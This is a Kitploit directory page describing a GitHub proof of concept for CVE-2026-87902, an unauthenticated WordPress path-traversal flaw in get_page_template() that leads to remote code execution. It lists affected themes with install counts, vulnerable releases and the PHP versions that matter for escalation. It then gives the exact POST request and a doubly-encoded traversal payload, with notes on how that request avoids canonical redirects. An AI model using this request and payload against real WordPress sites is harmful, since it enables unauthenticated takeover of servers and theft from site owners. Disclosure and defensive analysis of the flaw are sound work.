Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-87902 — Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion. | Kitploit
도구/GitHubGitHub/vulpecuna/cve-2026-87902
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolLabs & Practice
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion.

저장소 보기
942323일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-87902

AdvisoryGHSA-7hp8-65ch-5whp
ProductWordPress <= 7.1.1, fixed in 7.1.2; both versions tested
Sinkwp-includes/template.php, get_page_template()
Causethe candidate built from pagename is not passed through validate_file()
Actoranonymous, no account, no cookie, no CSRF token
Methodsingle POST, two query parameters, empty body
Effectarbitrary on-disk .php included and executed in the WordPress process
Escalationremote command execution where the PEAR gadget is exploitable, see PHP and escalation
Writes to targetnone, unless --function is asked for by name
Reproduced here6 releases, 7 themes, 4 PHP versions

Themes

The 200 most-installed themes on wordpress.org. 26 ship a page-* directory and are affected, together 765,500 of 9,027,090 active installs. The other 174 fail precondition 1.

ThemeVersionInstallspage-*StatusConfirmed
neve4.2.11200,000page-templates🔴 affectedlab
sydney2.7180,000page-templates🔴 affectedlab
hestia3.3.670,000page-templates🔴 affectedlab
inspiro2.2.360,000page-templates🔴 affectedsurvey
colibri-wp1.0.16950,000page-templates🔴 affectedsurvey
twentyfourteen4.650,000page-templates🔴 affectedlab
twentytwelve4.950,000page-templates🔴 affectedlab
colormag4.2.540,000page-templates🔴 affectedlab
zakra4.3.330,000page-templates🔴 affectedsurvey
spacious1.9.1220,000page-templates🔴 affectedsurvey
hueman3.7.2720,000page-templates🔴 affectedsurvey
bloghash1.0.3010,000page-templates🔴 affectedlab
botiga2.4.910,000page-templates🔴 affectedsurvey
tutorstarter4.0.310,000page-templates🔴 affectedsurvey
mesmerize1.6.18710,000page-templates🔴 affectedsurvey
flash1.4.1210,000page-templates🔴 affectedsurvey
shapely1.3.610,000page-templates🔴 affectedsurvey
silverstorm1.0.368,000page-templates🔴 affectedsurvey
prespa1.7.88,000page-templates🔴 affectedsurvey
hybridmag1.1.46,000page-templates🔴 affectedsurvey
chromenews6.2.105,000page-templates🔴 affectedsurvey
morenews4.3.105,000page-templates🔴 affectedsurvey
newsexo9.12,000page-templates🔴 affectedsurvey
reviewnews2.0.51,000page-templates🔴 affectedsurvey
the8-shop-dark1.0.5400page-templates🔴 affectedsurvey
newsonline0.6100page-templates🔴 affectedsurvey

Tested and unaffected, none of them carrying a page-* directory: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php does not change affectedness. It only rules out the front page's id for the request, and 4 of the 26 ship one: colormag, hestia, morenews, reviewnews. themes.json records it per theme, and poc.py demotes the front page id only for those four.

Versions

ReleaseImage default themeWith an affected themeConfirmed
7.1.2🟢 not affected, twentytwentyfive🟢 not affected, nevelab
7.1.1🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.1.0🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.0.4🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.8.3🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.1.0🟢 not affected, twentytwentythree🔴 affected, twentytwelvelab
4.9.8🟢 not affected, twentyseventeen🔴 affected, twentytwelvelab
the 105 other releasesnot measurednot measurednot measured

PHP variants published per release, which decide the escalation below:

WordPress releasesPHP variants published as -apache
4.1.x to 4.5.xnone, plain tag only, 5.6
4.6.x to 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x to 5.5.x7.1 7.2 7.3 7.4
5.6.x to 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x to 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x and 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x and 7.1.x8.2 8.3 8.4 8.5

Request

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=<any published page>&pagename=<payload>

<payload> is the page- directory, the traversal and the target, with every dot and slash doubly encoded:

templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
FieldRole
pagenamethe payload. WP_Query runs it through sanitize_title_for_query(), which rewrites a literal dot to a dash but preserves percent-encoded octets. get_page_template() then calls urldecode() to decode the result into a path
page_idany published page, so the query matches a post instead of returning a 404. Without it the page template is never loaded
POSTredirect_canonical() returns untouched for any method other than GET and HEAD, and a body is what carries the two fields. See below

Core builds page-{urldecode($pagename)}.php and resolves it with locate_template(), against the stylesheet directory and then the template one.

Why POST

On a site with pretty permalinks, redirect_canonical() answers the GET with a 301 to /<slug>/?pagename=<payload>. page_id is dropped on the way, so the query matches no post, handle_404() fires, and get_page_template() is never reached.

A POST also has somewhere to put the two fields: WP::parse_request() reads $_POST first, so the body works exactly as the query string did and the URL is left a bare /. Only the gadget's arguments cannot move, because PHP fills $_SERVER['argv'] from the query string and nowhere else.

도구 다운로드